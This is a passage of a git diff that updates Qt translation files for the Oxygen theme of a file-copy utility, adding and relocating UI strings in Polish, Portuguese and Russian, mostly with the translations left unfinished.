+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/pl/translation.ts b/plugins/Themes/Oxygen/Languages/pl/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/pl/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/pl/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/pt/translation.ts b/plugins/Themes/Oxygen/Languages/pt/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/pt/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/pt/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/ru/translation.ts b/plugins/Themes/Oxygen/Languages/ru/translation.ts
index 565a194..9ffa0a1 100644
--- a/plugins/Themes/Oxygen/Languages/ru/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/ru/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation>Файл %1/%2, размер: %3/%4</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished">Копировать список</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">Не закрывать, если найдены ошибки</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished">Никогда не закрывать</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished">Всегда закрывайте</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation>Имя файла, 0KB</translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">Не закрывать, если найдены ошибки</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished">Никогда не закрывать</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished">Всегда закрывайте</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,179 +91,251 @@
<translation>С:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation>к:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation>0KB/sec</translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation>больше</translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation>пауза</translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation>пропускать</translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation>отменить</translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
<source>Limit copy speed at:</source>
- <translation>Предельная скорость копирования по адресу:</translation>
+ <translation type="obsolete">Предельная скорость копирования по адресу:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
- <translation>неограниченный</translation>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
- <translation>Копировать список</translation>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
- <translation>предыдущий</translation>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
- <translation>следующий</translation>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
- <translation>опции</translation>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
- <translation>Скопируйте конца</translation>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
- <translation>В конце копии: </translation>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
</message>
<message>
